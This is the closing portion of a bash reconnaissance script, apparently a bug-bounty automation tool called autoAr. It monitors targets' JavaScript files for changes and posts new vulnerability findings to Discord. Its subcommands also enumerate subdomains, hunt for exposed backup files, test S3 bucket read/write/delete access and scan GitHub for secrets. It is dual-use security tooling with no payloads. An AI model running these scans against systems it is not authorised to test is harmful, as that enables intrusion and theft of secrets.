    cleanup_results "$DOMAIN_DIR"
}

# Function to monitor JS files for a domain
js_monitor() {
    local domain="$1"
    local subdomain="$2"
    if [[ -n "$subdomain" ]]; then
        log INFO "[jsMonitor] Monitoring single subdomain: $subdomain"
        SINGLE_SUBDOMAIN="$subdomain"
        setup_results_dir
        echo "$subdomain" > "$DOMAIN_DIR/subs/all-subs.txt"
        echo "https://$subdomain" > "$DOMAIN_DIR/subs/live-subs.txt"
        fetch_urls
    else
        log INFO "[jsMonitor] Starting JS monitoring for $domain"
        setup_results_dir
        subEnum "$domain"
        fetch_urls
    fi

    local js_urls_file="$DOMAIN_DIR/urls/js-urls.txt"
    local tmp_dir="/tmp/jsmonitor_${subdomain:-$domain}"
    mkdir -p "$tmp_dir"

    if [[ ! -s "$js_urls_file" ]]; then
        log WARNING "[jsMonitor] No JS files found for ${subdomain:-$domain}"
        return
    fi

    local js_url_count=$(wc -l < "$js_urls_file")
    log INFO "[jsMonitor] Found $js_url_count JS URLs in this scan."

    # Create files for tracking old and new findings
    local old_findings="$tmp_dir/old_findings.txt"
    local new_findings="$tmp_dir/new_findings.txt"
    local all_findings="$tmp_dir/all_findings.txt"
    > "$old_findings"
    > "$new_findings"
    > "$all_findings"

    # Get previous JS file info from DB
    local prev_file="$tmp_dir/prev_jsfiles.json"
    log INFO "[jsMonitor] Fetching previous JS file metadata from database..."
    ./sqlite_db_handler.py get_jsfiles "${subdomain:-$domain}" > "$prev_file"
    local prev_count=$(jq length "$prev_file" 2>/dev/null || echo 0)
    log INFO "[jsMonitor] Found $prev_count JS file records in database."

    # Prepare temp file for new/changed JS URLs
    local changed_js_urls="$tmp_dir/changed_js_urls.txt"
    > "$changed_js_urls"
    > "$tmp_dir/jsfile_list.json"
    echo '[' > "$tmp_dir/jsfile_list.json"
    local first=1
    local changed_count=0

    while IFS= read -r jsurl; do
        local jsfile="$tmp_dir/$(echo "$jsurl" | md5sum | awk '{print $1}')"
        curl -s --max-time 10 "$jsurl" -o "$jsfile"
        local clen=$(stat -c %s "$jsfile" 2>/dev/null || echo 0)
        local now=$(date -u +%Y-%m-%dT%H:%M:%SZ)

        # Find previous size
        local prev_meta=$(jq -c --arg url "$jsurl" 'map(select(.url==$url)) | .[0]' "$prev_file")
        local prev_size=$(echo "$prev_meta" | jq -r '.size // empty')

        # If new or size changed by >20 bytes, add to changed list
        local size_diff=0
        if [[ -z "$prev_size" ]]; then
            size_diff=$clen
        else
            size_diff=$(( clen > prev_size ? clen - prev_size : prev_size - clen ))
        fi

        # Add to all findings
        echo "$jsurl" >> "$all_findings"

        if [[ -z "$prev_size" ]]; then
            log INFO "[jsMonitor] New JS file detected: $jsurl (size: $clen bytes)"
            echo "$jsurl" >> "$changed_js_urls"
            echo "$jsurl" >> "$new_findings"
            ((changed_count++))
            if [[ $first -eq 0 ]]; then echo ',' >> "$tmp_dir/jsfile_list.json"; fi
            echo -n '{' >> "$tmp_dir/jsfile_list.json"
            echo -n "\"url\": \"$jsurl\", \"size\": $clen, \"last_seen\": \"$now\"" >> "$tmp_dir/jsfile_list.json"
            echo -n '}' >> "$tmp_dir/jsfile_list.json"
            first=0
        elif [[ $size_diff -gt 20 ]]; then
            log INFO "[jsMonitor] Changed JS file detected: $jsurl (old size: $prev_size, new size: $clen, diff: $size_diff bytes)"
            echo "$jsurl" >> "$changed_js_urls"
            echo "$jsurl" >> "$new_findings"
            ((changed_count++))
            if [[ $first -eq 0 ]]; then echo ',' >> "$tmp_dir/jsfile_list.json"; fi
            echo -n '{' >> "$tmp_dir/jsfile_list.json"
            echo -n "\"url\": \"$jsurl\", \"size\": $clen, \"last_seen\": \"$now\"" >> "$tmp_dir/jsfile_list.json"
            echo -n '}' >> "$tmp_dir/jsfile_list.json"
            first=0
        else
            # Add to old findings
            echo "$jsurl" >> "$old_findings"
        fi
    done < "$js_urls_file"
    echo ']' >> "$tmp_dir/jsfile_list.json"

    log INFO "[jsMonitor] $changed_count JS files are new or changed and will be scanned."

    # Scan only new/changed JS files
    if [[ -s "$changed_js_urls" ]]; then
        scan_js_exposures "$DOMAIN_DIR" "$changed_js_urls"
        log INFO "[jsMonitor] Updating database with $changed_count new/changed JS files."
        ./sqlite_db_handler.py add_jsfiles "${subdomain:-$domain}" "$tmp_dir/jsfile_list.json"

        # Use anew to get only new findings
        if [[ -n "$DISCORD_WEBHOOK" ]]; then
            # For each vulnerability type, use anew to get only new findings
            for vuln_type in js xss sqli ssrf ssti lfi rce idor; do
                local vuln_dir="$DOMAIN_DIR/vulnerabilities/$vuln_type"
                if [[ -d "$vuln_dir" ]]; then
                    for file in "$vuln_dir"/*.txt; do
                        if [[ -f "$file" && -s "$file" ]]; then
                            local filename=$(basename "$file")
                            local old_file="$tmp_dir/old_${filename}"
                            local new_file="$tmp_dir/new_${filename}"
                            
                            # Create old findings file if it doesn't exist
                            touch "$old_file"
                            
                            # Use anew to get only new findings
                            cat "$file" | anew "$old_file" > "$new_file"
                            
                            # If there are new findings, send to Discord
                            if [[ -s "$new_file" ]]; then
                                local new_count=$(wc -l < "$new_file")
                                send_file_to_discord "$new_file" "[$vuln_type] Found $new_count new findings in $filename"
                            fi
                            
                            # Update old findings file
                            cat "$file" >> "$old_file"
                            sort -u -o "$old_file" "$old_file"
                        fi
                    done
                fi
            done
        fi
    fi

    rm -rf "$tmp_dir"
    log SUCCESS "[jsMonitor] Monitoring complete for ${subdomain:-$domain}"
}

# Help function
show_help() {
    cat << EOF
    Usage: ./autoAr.sh <subcommand> [options]

        Subcommands:
            domain      Full scan mode (customizable with skip flags)
            subdomain   Scan a single subdomain
            liteScan    Quick scan (subdomains, CNAME, live hosts, URLs, JS, nuclei)
            fastLook    Fast look (subenum, live subdomains, collect urls, tech detect, cname checker)
            jsScan      JS-focused scan (collect JS files and analyze for secrets, XSS, endpoints)
            jsMonitor   Monitor JS files for a domain or single subdomain and alert on changes
            backupScan  Backup file discovery scan using fuzzuli on live subdomains
            s3Scan      S3 bucket permission scan (test read, write, delete, and public access)
            github      Scan GitHub repository for secrets using TruffleHog
            github-org  Scan GitHub organization for secrets using TruffleHog
            github-wordlist  Build wordlist from org ignore files and send to Discord
            monitor     Run the Python monitoring script
            check-tools        Check if all required tools are installed
            check-directories  Check if all required directories and files exist
            api                API management (start, stop, restart, status, logs, install, uninstall)
            help        Show this help message

        Examples:
            ./autoAr.sh domain -d example.com
            ./autoAr.sh subdomain -s sub.example.com
            ./autoAr.sh liteScan -d example.com
            ./autoAr.sh fastLook -d example.com
            ./autoAr.sh jsScan -d example.com
            ./autoAr.sh jsScan -s sub.example.com
            ./autoAr.sh jsMonitor -d example.com
            ./autoAr.sh jsMonitor -s sub.example.com
            ./autoAr.sh backupScan -d example.com
            ./autoAr.sh backupScan -d example.com -t 100 -timeout 15
            ./autoAr.sh s3Scan -b my-bucket
            ./autoAr.sh s3Scan -b my-bucket -r us-east-1
            ./autoAr.sh s3Scan -b my-bucket -r us-west-2 -n
            ./autoAr.sh github -r https://github.com/owner/repo
            ./autoAr.sh github-org -o organization-name
            ./autoAr.sh github-wordlist -o organization-name
            ./autoAr.sh github-wordlist -o org -m 300 --files ".gitignore,.npmignore,.dockerignore"
            ./autoAr.sh monitor
            ./autoAr.sh monitor --all
            ./autoAr.sh monitor -c company
            ./autoAr.sh check-tools
            ./autoAr.sh check-directories
            ./autoAr.sh api start
            ./autoAr.sh api stop
            ./autoAr.sh api restart
            ./autoAr.sh api status
            ./autoAr.sh api logs
            ./autoAr.sh api logs -f
            ./autoAr.sh api install
            ./autoAr.sh api uninstall

        Options:
            --keep-results                         Keep results directory after scan (disable cleanup)
EOF
}

# Subcommand parser (should be right after all functions and config)
main() {
    if [[ $# -eq 0 ]]; then
        show_help
        exit 1
    fi
    # Check for global options first
    local keep_results=false
    local args=("$@")
    local filtered_args=()
    
    for arg in "${args[@]}"; do
        case "$arg" in
            --keep-results)
                keep_results=true
                ;;
            *)
                filtered_args+=("$arg")
                ;;
        esac
    done
    
    if [[ "$keep_results" == "true" ]]; then
        disable_cleanup
    fi
    
    # Set arguments to filtered list
    set -- "${filtered_args[@]}"
    
    if [[ $# -eq 0 ]]; then
        show_help
        exit 1
    fi
    
    if [[ "$1" =~ ^(domain|subdomain|liteScan|fastLook|jsScan|jsMonitor|backupScan|s3Scan|github|github-org|github-wordlist|monitor|check-tools|check-directories|api|help|--help|-h)$ ]]; then
        subcommand="$1"
        shift
        
        # Check tools and directories before running any scan (except help, monitor, check-tools, check-directories, and api)
        if [[ "$subcommand" != "help" && "$subcommand" != "--help" && "$subcommand" != "-h" && "$subcommand" != "monitor" && "$subcommand" != "check-tools" && "$subcommand" != "check-directories" && "$subcommand" != "api" && "$subcommand" != "github-wordlist" ]]; then
            check_tools
            check_directories
        fi
        case "$subcommand" in
            domain)
                # Parse flags for domain scan
                while [[ $# -gt 0 ]]; do
                    case $1 in
                        -d|--domain)
                            TARGET="$2"; shift 2;;
                        -v|--verbose)
                            VERBOSE=true; shift;;
                        -dw|--discord-webhook)
                            DISCORD_WEBHOOK="$2"; shift 2;;
                        -st|--save-to-db)
                            SAVE_TO_DB=true; shift;;
                        -sk|--securitytrails-key)
                            SECURITYTRAILS_API_KEY="$2"; shift 2;;
                        *)
                            echo "Unknown option: $1"; show_help; exit 1;;
                    esac
                done
                if [[ -z "$TARGET" ]]; then
                    echo "Error: Must specify a domain with -d"; show_help; exit 1;
                fi
                setup_results_dir
                scan_domain "$TARGET"
                exit 0
                ;;
            subdomain)
                while [[ $# -gt 0 ]]; do
                    case $1 in
                        -s|--subdomain)
                            SINGLE_SUBDOMAIN="$2"; shift 2;;
                        -v|--verbose)
                            VERBOSE=true; shift;;
                        -dw|--discord-webhook)
                            DISCORD_WEBHOOK="$2"; shift 2;;
                        -st|--save-to-db)
                            SAVE_TO_DB=true; shift;;
                        *)
                            echo "Unknown option: $1"; show_help; exit 1;;
                    esac
                done
                if [[ -z "$SINGLE_SUBDOMAIN" ]]; then
                    echo "Error: Must specify a subdomain with -s"; show_help; exit 1;
                fi
                setup_results_dir
                scan_single_subdomain "$SINGLE_SUBDOMAIN"
                exit 0
                ;;
            liteScan)
                while [[ $# -gt 0 ]]; do
                    case $1 in
                        -d|--domain)
                            TARGET="$2"; shift 2;;
                        -v|--verbose)
                            VERBOSE=true; shift;;
                        -dw|--discord-webhook)
                            DISCORD_WEBHOOK="$2"; shift 2;;
                        -st|--save-to-db)
                            SAVE_TO_DB=true; shift;;
                        -sk|--securitytrails-key)
                            SECURITYTRAILS_API_KEY="$2"; shift 2;;
                        *)
                            echo "Unknown option: $1"; show_help; exit 1;;
                    esac
                done
                if [[ -z "$TARGET" ]]; then
                    echo "Error: Must specify a domain with -d"; show_help; exit 1;
                fi
                setup_results_dir
                lite_scan "$TARGET"
                exit 0
                ;;
            fastLook)
                while [[ $# -gt 0 ]]; do
                    case $1 in
                        -d|--domain)
                            TARGET="$2"; shift 2;;
                        -v|--verbose)
                            VERBOSE=true; shift;;
                        -dw|--discord-webhook)
                            DISCORD_WEBHOOK="$2"; shift 2;;
                        -sk|--securitytrails-key)
                            SECURITYTRAILS_API_KEY="$2"; shift 2;;
                        *)
                            echo "Unknown option: $1"; show_help; exit 1;;
                    esac
                done
                if [[ -z "$TARGET" ]]; then
                    echo "Error: Must specify a domain with -d"; show_help; exit 1;
                fi
                setup_results_dir
                subEnum "$TARGET"
                filter_live_hosts
                fetch_urls
                detect_technologies
                check_cname_records "$DOMAIN_DIR"
                run_reflection_scan
                exit 0
                ;;
            jsScan)
                while [[ $# -gt 0 ]]; do
                    case $1 in
                        -d|--domain)
                            TARGET="$2"; shift 2;;
                        -s|--subdomain)
                            SINGLE_SUBDOMAIN="$2"; shift 2;;
                        -v|--verbose)
                            VERBOSE=true; shift;;
                        -dw|--discord-webhook)
                            DISCORD_WEBHOOK="$2"; shift 2;;
                        -sk|--securitytrails-key)
                            SECURITYTRAILS_API_KEY="$2"; shift 2;;
                        *)
                            echo "Unknown option: $1"; show_help; exit 1;;
                    esac
                done
                if [[ -n "$SINGLE_SUBDOMAIN" ]]; then
                    js_scan "" "$SINGLE_SUBDOMAIN"
                elif [[ -n "$TARGET" ]]; then
                    js_scan "$TARGET" ""
                else
                    echo "Error: Must specify a domain with -d or a subdomain with -s"; show_help; exit 1;
                fi
                exit 0
                ;;
            s3Scan)
                while [[ $# -gt 0 ]]; do
                    case $1 in
                        -b|--bucket)
                            S3_BUCKET_NAME="$2"; shift 2;;
                        -r|--region)
                            S3_REGION="$2"; shift 2;;
                        -n|--no-sign-request)
                            S3_NO_SIGN_REQUEST=true; shift;;
                        -v|--verbose)
                            VERBOSE=true; shift;;
                        -dw|--discord-webhook)
                            DISCORD_WEBHOOK="$2"; shift 2;;
                        --help|-h)
                            show_help; exit 0;;
                        *)
                            echo "Unknown option: $1"; show_help; exit 1;;
                    esac
                done
                if [[ -z "$S3_BUCKET_NAME" ]]; then
                    echo "Error: Must specify a bucket name with -b"; show_help; exit 1;
                fi
                s3_scan "$S3_BUCKET_NAME" "$S3_REGION" "$S3_NO_SIGN_REQUEST"
                exit 0
                ;;
            jsMonitor)
                while [[ $# -gt 0 ]]; do
                    case $1 in
                        -d|--domain)
                            TARGET="$2"; shift 2;;
                        -s|--subdomain)
                            SINGLE_SUBDOMAIN="$2"; shift 2;;
                        -v|--verbose)
                            VERBOSE=true; shift;;
                        -dw|--discord-webhook)
                            DISCORD_WEBHOOK="$2"; shift 2;;
                        *)
                            echo "Unknown option: $1"; show_help; exit 1;;
                    esac
                done
                JS_MONITOR_MODE=1
                if [[ -n "$SINGLE_SUBDOMAIN" ]]; then
                    js_monitor "" "$SINGLE_SUBDOMAIN"
                elif [[ -n "$TARGET" ]]; then
                    js_monitor "$TARGET" ""
                else
                    echo "Error: Must specify a domain with -d or a subdomain with -s"; show_help; exit 1;
                fi
                exit 0
                ;;
            backupScan)
                while [[ $# -gt 0 ]]; do
                    case $1 in
                        -d|--domain)
                            TARGET="$2"; shift 2;;
                        -t|--threads)
                            BACKUP_THREADS="$2"; shift 2;;
                        -timeout)
                            BACKUP_TIMEOUT="$2"; shift 2;;
                        -v|--verbose)
                            VERBOSE=true; shift;;
                        -dw|--discord-webhook)
                            DISCORD_WEBHOOK="$2"; shift 2;;
                        -sk|--securitytrails-key)
                            SECURITYTRAILS_API_KEY="$2"; shift 2;;
                        --help|-h)
                            cat << EOF
Backup File Discovery Scan

Usage: ./autoAr.sh backupScan -d <domain> [options]

Options:
    -d, --domain <domain>     Target domain to scan for backup files
    -t, --threads <num>       Number of threads (default: 50)
    -timeout <seconds>        Timeout per request (default: 10)
    -v, --verbose             Enable verbose output
    -dw, --discord-webhook    Discord webhook URL for notifications
    -sk, --securitytrails-key SecurityTrails API key
    --help, -h                Show this help

Description:
    This mode discovers live subdomains and runs fuzzuli backup file discovery
    on all of them to find critical backup files, configuration files, and
    other sensitive files that might be exposed.

Examples:
    ./autoAr.sh backupScan -d example.com
    ./autoAr.sh backupScan -d example.com -t 100 -timeout 15
    ./autoAr.sh backupScan -d example.com -v -dw "https://discord.com/api/webhooks/..."
EOF
                            exit 0
                            ;;
                        *)
                            log ERROR "Unknown option: $1"
                            log ERROR "Use './autoAr.sh backupScan --help' for available options"
                            exit 1
                            ;;
                    esac
                done
                
                if [[ -z "$TARGET" ]]; then
                    log ERROR "Error: Domain is required for backup scan"
                    log ERROR "Use: ./autoAr.sh backupScan -d example.com"
                    exit 1
                fi
                
                backup_scan "$TARGET" "${BACKUP_THREADS:-50}" "${BACKUP_TIMEOUT:-10}"
                exit 0
                ;;
            github)
                while [[ $# -gt 0 ]]; do
                    case $1 in
                        -r|--repo)
                            GITHUB_REPO="$2"; shift 2;;
                        -v|--verbose)
                            VERBOSE=true; shift;;
                        -dw|--discord-webhook)
                            DISCORD_WEBHOOK="$2"; shift 2;;
                        *)
                            echo "Unknown option: $1"; show_help; exit 1;;
                    esac
                done
                if [[ -z "$GITHUB_REPO" ]]; then
                    echo "Error: Must specify a GitHub repository with -r"; show_help; exit 1;
                fi
                setup_results_dir
                github_scan "$GITHUB_REPO"
                exit 0
                ;;
            github-org)
                while [[ $# -gt 0 ]]; do
                    case $1 in
                        -o|--org)
                            GITHUB_ORG="$2"; shift 2;;
                        -m|--max-repos)
                            MAX_REPOS="$2"; shift 2;;
                        -v|--verbose)
                            VERBOSE=true; shift;;
                        -dw|--discord-webhook)
                            DISCORD_WEBHOOK="$2"; shift 2;;
                        *)
                            echo "Unknown option: $1"; show_help; exit 1;;
                    esac
                done
                if [[ -z "$GITHUB_ORG" ]]; then
                    echo "Error: Must specify a GitHub organization with -o"; show_help; exit 1;
                fi
                setup_results_dir
                github_org_scan "$GITHUB_ORG" "${MAX_REPOS:-50}"
                exit 0
                ;;
            github-wordlist)
                while [[ $# -gt 0 ]]; do
                    case $1 in
                        -o|--org)
                            GITHUB_ORG="$2"; shift 2;;
                        -m|--max-repos)
                            MAX_REPOS="$2"; shift 2;;
                        --files)
                            WORDLIST_FILES_CSV="$2"; shift 2;;
                        -v|--verbose)
                            VERBOSE=true; shift;;
                        -dw|--discord-webhook)
                            DISCORD_WEBHOOK="$2"; shift 2;;
                        *)
                            echo "Unknown option: $1"; show_help; exit 1;;
                    esac
                done
                if [[ -z "$GITHUB_ORG" ]]; then
                    echo "Error: Must specify a GitHub organization with -o"; show_help; exit 1;
                fi
                setup_results_dir
                github_org_wordlist "$GITHUB_ORG" "${MAX_REPOS:-200}" "${WORDLIST_FILES_CSV:-}"
                exit 0
                ;;
            monitor)
                # Convert '-c all' to '--all' for compatibility
                if [[ "$1" == "-c" && "$2" == "all" ]]; then
                    shift 2
                    python3 monitor-comapany.py --all "$@"
                else
                    python3 monitor-comapany.py "$@"
                fi
                exit 0
                ;;
            check-tools)
                check_tools
                exit 0
                ;;
            check-directories)
                check_directories
                exit 0
                ;;
            api)
                # Parse API subcommands
                case "${1:-help}" in
                    start)
                        start_api
                        exit 0
                        ;;
                    stop)
                        stop_api
                        exit 0
                        ;;
                    restart)
                        restart_api
                        exit 0
                        ;;
                    status)
                        check_api_status
                        exit 0
                        ;;
                    logs)
                        show_api_logs "$2"
                        exit 0
                        ;;
                    install)
                        install_api_service
                        exit 0
                        ;;
                    uninstall)
                        uninstall_api_service
                        exit 0
                        ;;
                    help|--help|-h)
                        cat << EOF
AutoAR API Management

Usage: ./autoAr.sh api <command>

Commands:
    start       Start the API server in background
    stop        Stop the API server
    restart     Restart the API server
    status      Check API server status and health
    logs        Show API server logs
    logs -f     Follow API server logs in real-time
    install     Install API as system service (requires sudo)
    uninstall   Remove API system service (requires sudo)
    help        Show this help

Examples:
    ./autoAr.sh api start
    ./autoAr.sh api status
    ./autoAr.sh api logs
    ./autoAr.sh api logs -f
    ./autoAr.sh api restart
    sudo ./autoAr.sh api install
    sudo ./autoAr.sh api uninstall
EOF
                        exit 0
                        ;;
                    *)
                        log ERROR "Unknown API command: $1"
                        log ERROR "Use './autoAr.sh api help' for available commands"
                        exit 1
                        ;;
                esac
                ;;
            help|--help|-h)
                show_help
                exit 0
                ;;
        esac
    else
        show_help
        exit 1
    fi
}

# Log config file detection and variable loading
if [[ -f "$CONFIG_FILE" ]]; then
    log INFO "Config file $CONFIG_FILE found."
else
    log ERROR "Config file $CONFIG_FILE not found!"
fi

log INFO "DB_NAME: $DB_NAME"
log INFO "DISCORD_WEBHOOK: ${DISCORD_WEBHOOK:0:10}..."
log INFO "SAVE_TO_DB: $SAVE_TO_DB"
log INFO "VERBOSE: $VERBOSE"
log INFO "GITHUB_TOKEN: ${GITHUB_TOKEN:0:6}..."
log INFO "SECURITYTRAILS_API_KEY: ${SECURITYTRAILS_API_KEY:0:6}..."              

main "$@"